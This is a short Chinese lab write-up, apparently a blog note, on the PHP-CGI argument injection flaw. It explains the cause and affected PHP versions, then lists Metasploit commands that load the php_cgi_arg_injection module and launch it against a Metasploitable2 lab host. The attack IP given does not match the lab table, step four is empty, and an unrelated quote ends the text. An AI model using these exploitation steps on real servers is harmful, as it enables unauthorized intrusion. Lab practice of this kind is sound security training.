环境
主机 | 地址 |
---|---|
Metasploitable2 | 192.168.232.202 |
kali-linux | 192.168.232.129 |
原理
- 用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
- 探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
- 所以,Apache服务器按要求实现了这个功能。
- apache在解析.php文件时会把接收到的url参数通过mod_cgi模块交给后端的php-cgi处理,而传递过程中未对参数进行过滤,导致php-cgi会把用户输入当作php参数执行
影响版本
- php < 5.3.12
- php < 5.4.2
漏洞利用
第一步 ,启动MSF
msfconsole
第二步选择漏洞库
use exploit/multi/http/php_cgi_arg_injection
第三步 设置参数,开始攻击
show options
Set RHOST 192.168.160.131 设置要攻击的IP
exploit
第四步 利用成功,
摘抄
抛开内心的阴霾,天气回暖,春天回归,
一切都会越来越好。